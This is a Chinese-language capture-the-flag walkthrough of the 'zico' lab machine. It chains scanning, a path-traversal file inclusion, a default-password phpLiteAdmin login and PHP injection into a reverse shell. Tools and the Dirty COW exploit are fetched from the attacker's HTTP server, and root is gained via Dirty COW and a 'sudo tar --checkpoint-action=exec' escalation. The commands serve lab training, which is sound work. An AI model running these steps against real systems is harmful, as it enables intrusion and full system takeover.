nmap扫描-->访问80端口发现文件包含漏洞-->dirb扫描网站目录-->利用默认密码登录phpLiteAdmin-->利用phpLiteAdmin 1.9.3的漏洞结合文件包含漏洞getshell-->脏牛提权(或者sudo tar提权)
步骤1:用arp-scan确认靶机ip攻击机(kali)输入命令
sudo arp-scan -l
结合靶机MAC地址,确认靶机ip地址为192.168.101.24
攻击机(kali)输入命令
sudo nmap -sS -A -p 1-10000 192.168.101.24
发现开放端口22(ssh)、80(http)、111。按照经验,突破口应该在80端口。
访问http://192.168.101.24,在页面上点点点。
发现http://192.168.101.24/view.php?page=tools.html有文件包含漏洞
如下所示,可以通过文件包含漏洞查看/etc/passwd的内容(只要能到达根目录,随便多少../都行)
http://192.168.101.24/view.php?page=../../../../../etc/passwd
根据这个已知漏洞,之后的思路是上传或者创建一个包含php代码的文件,利用这个漏洞执行php代码,达到getshell的目的。
步骤4:dirb扫描攻击机上执行命令
dirb http://192.168.101.24
目录扫描结果如下,http://192.168.101.24/dbadmin/应该有用
访问这个url,发现一个目录
点test_db.php,来到phpLiteAdmin的登录页面
网上查到默认密码是admin,用这个默认密码登录phpLiteAdmin
github上搜索phpLiteAdmin 1.9.3,可以搜到一份图文版的poc,根据这个poc稍微改动一点,结合前面发现的文件包含漏洞,可以实现getshell
GitHub - F-Masood/PHPLiteAdmin-1.9.3---Exploit-PoCContribute to F-Masood/PHPLiteAdmin-1.9.3---Exploit-PoC development by creating an account on GitHub.https://github.com/F-Masood/PHPLiteAdmin-1.9.3---Exploit-PoC
(1)创建一个新数据库ele.php
创建成功后可以看到新数据库被保存为文件/usr/databases/ele.php
(2) 切换到ele.php数据库并创建新表,表名随便
(3)为新表创建字段和默认值,字段随便,默认值就是getshell的php代码,我这边写的是
(4) 蚁剑连接
http://192.168.101.24/view.php?page=../../../../../usr/databases/ele.php
连接成功,getshell
我也试过直接在字段默认值中输入开启反弹shell的命令,但是并没有成功。
后来机智的小伙伴说他看到网上很多writeup中字段默认值写的类似下面这样。
思路是把php反弹shell写在文件shell.php(或者其他后缀)中,放在攻击机上;然后攻击机开http服务,用下面这个命令把shell.php下载到靶机的/tmp/shell.php,再用php命令运行/tmp/shell.php。
按照以上思路尝试:
攻击机上准备shell.php文件,文件内容是php反弹shell,内容是在下面这个链接找的
反弹Shell小结 - 竹小冉 - 博客园
$ip是攻击机的ip,$port是反弹shell的监听端口
攻击机上开http服务(getshell之后先不要关,还有其他文件要下载)
python -m SimpleHTTPServer 8888
攻击机上开反弹shell监听端口,端口号和shell.php中$port对应
nc -lvp 2333
然后在phpLiteAdmin新建的数据库ele.php新建的表shell的字段默认值处填上上述payload
浏览器中用文件包含漏洞访问ele.php
http://192.168.101.24/view.php?page=../../../../../usr/databases/ele.php
获得反弹shell
这个shell不是交互式的,反弹shell中输入以下命令获得交互式shell
python -c 'import pty; pty.spawn("/bin/bash")'
先创建个当前用户有权限修改的目录,并进入这个目录
mkdir /tmp/tq
cd /tmp/tq
从github上下载提权检测脚本,解压,把linpeas.sh放到攻击机上
GitHub - carlospolop/PEASS-ng: PEASS - Privilege Escalation Awesome Scripts SUITE (with colors)
反弹shell中输入如下命令下载该脚本
wget http://192.168.101.25:8888/linpeas.sh
此时,linpeas.sh由于没有配置任何用户的执行权限,因此还不能执行,用chmod命令赋予当前用户执行该文件的权限
chmod 744 linpeas.sh
执行脚本
./linpeas.sh
这个脚本可以输出操作系统的很多信息,以及给出提权的可能路径,比如在这个靶机上跑出了可能可以利用脏牛进行提权的建议。
脏牛漏洞影响范围(脏牛提权(cve-2016-5159)_haha1314的博客-CSDN博客_脏牛提权):
内核版本大于2.6.22 (2007年发行,到2016年10月18日修复)
从exploit-db上搜索dirty下载payload,放到攻击机上,命名为dirty.c,并在反弹shell中输入以下命令下载payload
Linux Kernel 2.6.22 < 3.9 - 'Dirty COW' 'PTRACE_POKEDATA' Race Condition Privilege Escalation (/etc/passwd Method) - Linux local Exploit
wget http://192.168.101.25:8888/dirty.c
编译
gcc -pthread dirty.c -o dirty -lcrypt
执行
./dirty
根据提示输入提权后用户密码,等待一会儿之后,就生成了有root权限的用户firefart,密码为刚刚设置的密码
用firefart进行ssh登录,可以发现firefort取代了root用户,有root权限
这个靶机名字叫zico,拿到反弹shell之后搜一下靶机上有没有和zico相关的文件或者文件夹
find / -name "*zico*" 2>/dev/null
进入/home/zico文件夹
cd /home/zico
首先发现一个叫to_do.txt的文件,查看这个文件,发现如下内容
bootstrap没权限解压,没法看,joomla文件夹中没找到什么有意思的内容,wordpress文件夹的wp-config.php文件中有一个数据库账户zico,密码sWfCsfJSPV9H3AmQzw8。
再看/etc/passwd中有这个用户,或许这个用户名和密码可以用来登录系统
我一开始以为密码是md5处理过的,拿到下面这个网站去试了一下。从下图的结果看,这个可能不是md5。后来又拿去base64解码,也不是base64。
MD5免费在线解密破解_MD5在线加密-SOMD5
直接用这个用户名和密码试试ssh登录,登录成功了
先查找一下有suid的命令
find / -perm -u=s -type f 2>/dev/null
没找到啥有用的
再查看一下zico可以sudo执行的命令
sudo -l
有tar和zip,这两个命令应该是都可以用来提权的,我这边用tar来试一下
命令行输入
sudo tar cf /dev/null test --checkpoint=1 --checkpoint-action=exec=/bin/bash
虽然报错了,但是实际上已经提权成功了
附一下找到这个提权命令的链接:
sudo提权 | EvilAnne's Blog